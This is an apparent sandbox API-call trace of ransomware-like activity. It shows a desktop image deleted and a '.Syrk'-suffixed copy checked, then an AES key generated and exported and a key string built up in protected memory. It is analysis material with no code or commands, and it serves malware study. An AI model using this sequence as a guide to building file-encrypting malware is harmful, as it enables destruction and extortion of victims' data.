[0203.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0203.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", lpFilePart=0x0) returned 0x2b [0203.704] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png\\*"), lpFindFileData=0x5a2e57c | out: lpFindFileData=0x5a2e57c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0203.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e53c) returned 1 [0203.704] CoTaskMemAlloc (cb=0x404) returned 0x38a6b8 [0203.704] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x38a6b8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0203.704] CoTaskMemFree (pv=0x38a6b8) [0203.706] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png")) returned 0x20 [0203.706] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0203.706] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", lpFilePart=0x0) returned 0x2b [0203.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e494) returned 1 [0203.707] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png"), fInfoLevelId=0x0, lpFileInformation=0x23f9f1c | out: lpFileInformation=0x23f9f1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x673cb160, ftCreationTime.dwHighDateTime=0x1d98e7c, ftLastAccessTime.dwLowDateTime=0x68ba6e10, ftLastAccessTime.dwHighDateTime=0x1d999bc, ftLastWriteTime.dwLowDateTime=0x68ba6e10, ftLastWriteTime.dwHighDateTime=0x1d999bc, nFileSizeHigh=0x0, nFileSizeLow=0x17cc1)) returned 1 [0203.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0203.707] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png")) returned 1 [0203.755] EtwEventActivityIdControl () returned 0x0 [0203.756] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.756] EtwEventActivityIdControl () returned 0x0 [0203.756] EtwEventActivityIdControl () returned 0x0 [0203.757] EtwEventActivityIdControl () returned 0x0 [0203.762] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png.syrk")) returned 0x20 [0203.764] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png.syrk")) returned 0x20 [0203.764] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0203.764] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk", lpFilePart=0x0) returned 0x30 [0203.764] EtwEventActivityIdControl () returned 0x0 [0203.765] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.765] EtwEventActivityIdControl () returned 0x0 [0203.765] EtwEventActivityIdControl () returned 0x0 [0203.765] EtwEventActivityIdControl () returned 0x0 [0203.769] EtwEventActivityIdControl () returned 0x0 [0203.769] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.769] EtwEventActivityIdControl () returned 0x0 [0203.769] EtwEventActivityIdControl () returned 0x0 [0203.769] EtwEventActivityIdControl () returned 0x0 [0203.772] EtwEventActivityIdControl () returned 0x0 [0203.773] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.773] EtwEventActivityIdControl () returned 0x0 [0203.773] EtwEventActivityIdControl () returned 0x0 [0203.773] EtwEventActivityIdControl () returned 0x0 [0203.776] EtwEventActivityIdControl () returned 0x0 [0203.776] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.776] EtwEventActivityIdControl () returned 0x0 [0203.776] EtwEventActivityIdControl () returned 0x0 [0203.776] EtwEventActivityIdControl () returned 0x0 [0203.779] EtwEventActivityIdControl () returned 0x0 [0203.780] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e6f0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.780] EtwEventActivityIdControl () returned 0x0 [0203.780] EtwEventActivityIdControl () returned 0x0 [0203.780] EtwEventActivityIdControl () returned 0x0 [0203.783] EtwEventActivityIdControl () returned 0x0 [0203.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dee4) returned 1 [0203.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24036d4 | out: lpFileInformation=0x24036d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5ead760, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf5ead760, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf5ed38c0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x17ce4)) returned 1 [0203.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dee0) returned 1 [0203.788] GetConsoleOutputCP () returned 0x1b5 [0204.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e60c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e60c) returned 0 [0204.048] GetConsoleOutputCP () returned 0x1b5 [0204.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e694, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e694) returned 0 [0204.048] GetConsoleOutputCP () returned 0x1b5 [0204.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0204.048] GetConsoleOutputCP () returned 0x1b5 [0204.048] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0204.049] GetConsoleOutputCP () returned 0x1b5 [0204.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e60c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e60c) returned 0 [0204.049] GetConsoleOutputCP () returned 0x1b5 [0204.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e694, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e694) returned 0 [0204.049] GetConsoleOutputCP () returned 0x1b5 [0204.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0204.049] GetConsoleOutputCP () returned 0x1b5 [0204.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0204.049] GetConsoleOutputCP () returned 0x1b5 [0204.049] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e60c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e60c) returned 0 [0204.050] GetConsoleOutputCP () returned 0x1b5 [0204.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e694, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e694) returned 0 [0204.050] GetConsoleOutputCP () returned 0x1b5 [0204.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0204.050] GetConsoleOutputCP () returned 0x1b5 [0204.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0204.050] GetConsoleOutputCP () returned 0x1b5 [0204.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e60c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e60c) returned 0 [0204.050] GetConsoleOutputCP () returned 0x1b5 [0204.050] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e694, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e694) returned 0 [0204.051] GetConsoleOutputCP () returned 0x1b5 [0204.051] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0204.051] GetConsoleOutputCP () returned 0x1b5 [0204.051] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e670, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e670) returned 0 [0204.051] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e75c | out: lpConsoleScreenBufferInfo=0x5a2e75c) returned 1 [0204.051] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e754 | out: lpMode=0x5a2e754) returned 1 [0204.052] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x241ef68*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e748, lpReserved=0x0 | out: lpBuffer=0x241ef68*, lpNumberOfCharsWritten=0x5a2e748*=0x4f) returned 1 [0204.052] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e754 | out: lpMode=0x5a2e754) returned 1 [0204.053] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e748, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e748*=0x2) returned 1 [0204.054] EtwEventActivityIdControl () returned 0x0 [0204.054] EtwEventActivityIdControl () returned 0x0 [0204.054] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.055] EtwEventActivityIdControl () returned 0x0 [0204.055] EtwEventActivityIdControl () returned 0x0 [0204.055] EtwEventActivityIdControl () returned 0x0 [0204.056] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.057] EtwEventActivityIdControl () returned 0x0 [0204.057] EtwEventActivityIdControl () returned 0x0 [0204.057] EtwEventActivityIdControl () returned 0x0 [0204.059] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4ccc0) returned 1 [0204.074] CryptGenKey (in: hProv=0x5c4ccc0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69200) returned 1 [0204.074] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0204.075] CryptExportKey (in: hKey=0x5c69200, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0204.075] CryptExportKey (in: hKey=0x5c69200, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2426c48, pdwDataLen=0x5a2e82c | out: pbData=0x2426c48*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0204.075] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0204.076] EtwEventActivityIdControl () returned 0x0 [0204.077] EtwEventActivityIdControl () returned 0x0 [0204.077] EtwEventActivityIdControl () returned 0x0 [0204.078] SysStringLen (param_1="") returned 0x8 [0204.078] SysStringLen (param_1="E") returned 0x8 [0204.078] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.078] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0204.078] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0204.078] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.078] SysStringLen (param_1="Eh") returned 0x8 [0204.078] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.079] SysStringLen (param_1="➨ᮽᰏ䦨左귭馊ꜫ") returned 0x8 [0204.079] SysStringLen (param_1="➨ᮽᰏ䦨左귭馊ꜫ") returned 0x8 [0204.079] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.079] SysStringLen (param_1="Eh/") returned 0x8 [0204.079] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.079] SysStringLen (param_1="쑝昑啸Ⰰㄻ⤸㴳") returned 0x8 [0204.079] SysStringLen (param_1="쑝昑啸Ⰰㄻ⤸㴳") returned 0x8 [0204.079] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.080] SysStringLen (param_1="Eh/V") returned 0x8 [0204.080] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.080] SysStringLen (param_1="ꏑ᜶펯ф砨F㬛ᰕ") returned 0x8 [0204.080] SysStringLen (param_1="ꏑ᜶펯ф砨F㬛ᰕ") returned 0x8 [0204.080] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.080] SysStringLen (param_1="Eh/Vl") returned 0x8 [0204.081] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.081] SysStringLen (param_1="锼﨎݌㬸걞㿢⽶") returned 0x8 [0204.081] SysStringLen (param_1="锼﨎݌㬸걞㿢⽶") returned 0x8 [0204.081] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.081] SysStringLen (param_1="Eh/VlC") returned 0x8 [0204.081] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.085] SysStringLen (param_1="\⃟귦強깓閣⌨ዠ∜) returned 0x8 [0204.085] SysStringLen (param_1="\⃟귦強깓閣⌨ዠ∜) returned 0x8 [0204.085] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.085] SysStringLen (param_1="Eh/VlCB") returned 0x8 [0204.085] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.085] SysStringLen (param_1="橺외鑫⮖君潶몋") returned 0x8 [0204.086] SysStringLen (param_1="橺외鑫⮖君潶몋") returned 0x8 [0204.086] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.086] SysStringLen (param_1="Eh/VlCB6") returned 0x8 [0204.086] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0204.086] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊") returned 0x8 [0204.087] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊") returned 0x8 [0204.087] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊") returned 0x8 [0204.087] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊") returned 0x10 [0204.087] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.087] SysStringLen (param_1="Eh/VlCB6Nꗡ恫詬萰뿱") returned 0x10 [0204.087] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.088] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊넨ᘞқ⫯牟ꦝ힀") returned 0x10 [0204.088] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊넨ᘞқ⫯牟ꦝ힀") returned 0x10 [0204.088] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.088] SysStringLen (param_1="Eh/VlCB6Nd恫詬萰뿱") returned 0x10 [0204.088] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.088] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊뇨㞀뽋ꤚ랍▥턑") returned 0x10 [0204.088] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊뇨㞀뽋ꤚ랍▥턑") returned 0x10 [0204.088] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.089] SysStringLen (param_1="Eh/VlCB6Nd3詬萰뿱") returned 0x10 [0204.089] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.089] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊碸ށﭞ燨檕꣺Ꞗ隌") returned 0x10 [0204.089] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊碸ށﭞ燨檕꣺Ꞗ隌") returned 0x10 [0204.089] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.089] SysStringLen (param_1="Eh/VlCB6Nd3k詬萰뿱") returned 0x10 [0204.089] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.090] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊앿ꜟ纈ἢ쵛ﮐ镳") returned 0x10 [0204.090] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊앿ꜟ纈ἢ쵛ﮐ镳") returned 0x10 [0204.090] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.090] SysStringLen (param_1="Eh/VlCB6Nd3kP詬萰뿱") returned 0x10 [0204.090] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.090] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊꤫◮\䄥됉異닻⋿) returned 0x10 [0204.091] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊꤫◮\䄥됉異닻⋿) returned 0x10 [0204.091] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.091] SysStringLen (param_1="Eh/VlCB6Nd3kPp萰뿱") returned 0x10 [0204.091] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.091] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊ꭟ豽笖♚ᘘ淼홰") returned 0x10 [0204.091] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊ꭟ豽笖♚ᘘ淼홰") returned 0x10 [0204.091] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.092] SysStringLen (param_1="Eh/VlCB6Nd3kPpU뿱") returned 0x10 [0204.092] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.092] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊譡ỿ쩛쥶㲱￘⏰㞳") returned 0x10 [0204.092] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊譡ỿ쩛쥶㲱￘⏰㞳") returned 0x10 [0204.092] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.092] SysStringLen (param_1="Eh/VlCB6Nd3kPpUM") returned 0x10 [0204.092] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0204.092] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡") returned 0x10 [0204.093] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡") returned 0x10 [0204.093] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡") returned 0x10 [0204.093] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡") returned 0x18 [0204.093] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.093] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMK퓶똎팹풦Ṛ夓轚") returned 0x18 [0204.093] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.094] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡␹쬋ঔ刨柿쳭絜") returned 0x18 [0204.094] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡␹쬋ঔ刨柿쳭絜") returned 0x18 [0204.094] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.094] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKU똎팹풦Ṛ夓轚") returned 0x18 [0204.094] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.094] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡\懞勞鈰뀟己⅄䓧⋿) returned 0x18 [0204.094] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡\懞勞鈰뀟己⅄䓧⋿) returned 0x18 [0204.095] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.095] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUD팹풦Ṛ夓轚") returned 0x18 [0204.095] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.095] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡嫀䷖␳쿱큾ꕜ귆ⓔ") returned 0x18 [0204.095] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡嫀䷖␳쿱큾ꕜ귆ⓔ") returned 0x18 [0204.095] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.096] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDn풦Ṛ夓轚") returned 0x18 [0204.096] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.096] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡暅캘㔊㾭齷쾈派") returned 0x18 [0204.096] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡暅캘㔊㾭齷쾈派") returned 0x18 [0204.096] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.096] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxṚ夓轚") returned 0x18 [0204.096] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.097] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡멾恑㋿㿖讞ౚ骗㠧") returned 0x18 [0204.097] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡멾恑㋿㿖讞ౚ骗㠧") returned 0x18 [0204.097] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.097] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxH夓轚") returned 0x18 [0204.097] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.097] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡⊃낹겋\Ⳟ䪐叒䥁⋁) returned 0x18 [0204.097] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡⊃낹겋\Ⳟ䪐叒䥁⋁) returned 0x18 [0204.097] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.098] SysStringLen (param_1="Eh/VlCB6Nd3kPpUMKUDnxHI轚") returned 0x18 [0204.098] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0204.098] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡ꦊ놁商୆狒塐礬捤") returned 0x18 [0204.098] SysStringLen (param_1="魟鵴ᜂ嬉禯㰓狊텀셧槷彉ꠥ⩠䉡ꦊ놁商୆狒塐礬捤") returned 0x18 [0204.098] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 